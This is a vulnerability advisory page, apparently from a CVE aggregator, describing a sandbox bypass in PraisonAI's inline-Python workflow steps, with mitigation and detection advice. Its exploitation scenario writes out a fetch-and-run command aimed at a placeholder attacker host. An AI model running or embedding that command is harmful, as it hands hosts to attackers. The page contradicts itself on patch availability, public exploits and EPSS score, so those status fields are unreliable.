CVE-2026-61438: PraisonAI: RCE via broken AST sandbox in workflows
HIGH PoC AVAILABLE CISA: ATTENDPraisonAI, an AI agent orchestration framework, ships a workflow executor that runs inline Python steps from YAML files without properly validating the abstract syntax tree, letting a crafted workflow with `import os` and `os.system()` calls slip past the sandbox and execute arbitrary OS commands with the privileges of the PraisonAI process. The CVSS 7.3 score reflects severe confidentiality, integrity, and availability impact once triggered, but exploitation requires local access, low privileges, and a user to load the malicious workflow (AV:L/PR:L/UI:R) — this isn't remotely exploitable over the network without that interaction. EPSS scoring isn't available yet, the flaw isn't in CISA's KEV catalog, and no public exploit or Nuclei template exists, so there's no evidence of active exploitation; the vendor advisory (GHSA-26mh-57q7-jfvr) and VulnCheck both confirm the sandbox-bypass mechanism. With only one known downstream dependent, blast radius is currently narrow, but any team that lets users import, share, or template PraisonAI workflows — including from internal marketplaces or third-party sources — should treat this as a first-class code execution risk. Patch to PraisonAI 4.6.78 or later immediately, and until then restrict workflow YAML ingestion to trusted, reviewed sources and monitor for unexpected os.system/subprocess calls spawned by the PraisonAI process.
What is the risk?
High severity (CVSS 7.3) with full confidentiality, integrity, and availability impact upon exploitation, but the attack vector is local and requires user interaction plus low privileges — this caps realistic exploitation likelihood versus a network-exploitable RCE. No EPSS score, no CISA KEV listing, and no public exploit/Nuclei coverage currently exist, so near-term mass exploitation is unlikely; however, the underlying flaw — insufficient AST validation of a documented sandbox — is trivial to weaponize once an attacker gets a malicious workflow file in front of a user, and the resulting impact (arbitrary OS command execution) is total. Any organization that treats PraisonAI workflow files as a trust boundary (accepting them from users, plugins, or shared templates) should reclassify this as high risk regardless of the local attack vector.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | — | No patch |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
Upgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-61438?
PraisonAI, an AI agent orchestration framework, ships a workflow executor that runs inline Python steps from YAML files without properly validating the abstract syntax tree, letting a crafted workflow with `import os` and `os.system()` calls slip past the sandbox and execute arbitrary OS commands with the privileges of the PraisonAI process. The CVSS 7.3 score reflects severe confidentiality, integrity, and availability impact once triggered, but exploitation requires local access, low privileges, and a user to load the malicious workflow (AV:L/PR:L/UI:R) — this isn't remotely exploitable over the network without that interaction. EPSS scoring isn't available yet, the flaw isn't in CISA's KEV catalog, and no public exploit or Nuclei template exists, so there's no evidence of active exploitation; the vendor advisory (GHSA-26mh-57q7-jfvr) and VulnCheck both confirm the sandbox-bypass mechanism. With only one known downstream dependent, blast radius is currently narrow, but any team that lets users import, share, or template PraisonAI workflows — including from internal marketplaces or third-party sources — should treat this as a first-class code execution risk. Patch to PraisonAI 4.6.78 or later immediately, and until then restrict workflow YAML ingestion to trusted, reviewed sources and monitor for unexpected os.system/subprocess calls spawned by the PraisonAI process.
Is CVE-2026-61438 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-61438, increasing the risk of exploitation.
How to fix CVE-2026-61438?
Upgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.
What systems are affected by CVE-2026-61438?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, agentic workflow orchestration, automation pipelines.
What is the CVSS score for CVE-2026-61438?
CVE-2026-61438 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.30%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011 User Execution AML.T0011.000 Unsafe AI Artifacts AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
PraisonAI before 4.6.78 contains a remote code execution vulnerability in JobWorkflowExecutor._exec_inline_python() due to insufficient AST validation of workflow script steps. Attackers can create malicious YAML workflow files with import os statements followed by os.system() calls that bypass sandbox checks and execute arbitrary OS commands with process privileges.
Exploitation Scenario
An attacker publishes a seemingly legitimate PraisonAI workflow template — e.g., an 'automated report generator' — to a public repository, forum, or internal shared drive, embedding an inline Python step with `import os` followed by `os.system('curl attacker.com/payload | bash')`. A user or admin imports the workflow into their PraisonAI deployment expecting normal automation; when the workflow runs, JobWorkflowExecutor._exec_inline_python() fails to catch the OS-level call during AST validation, and the command executes with the privileges of the PraisonAI process — giving the attacker a foothold to exfiltrate data, pivot to other systems, or establish persistence.
Weaknesses (CWE)
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Primary
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-48168 10.0 PraisonAI: shell injection in Claude Action enables RCE
Same package: praisonai CVE-2026-61447 10.0 PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonai CVE-2026-61445 9.9 PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonai GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai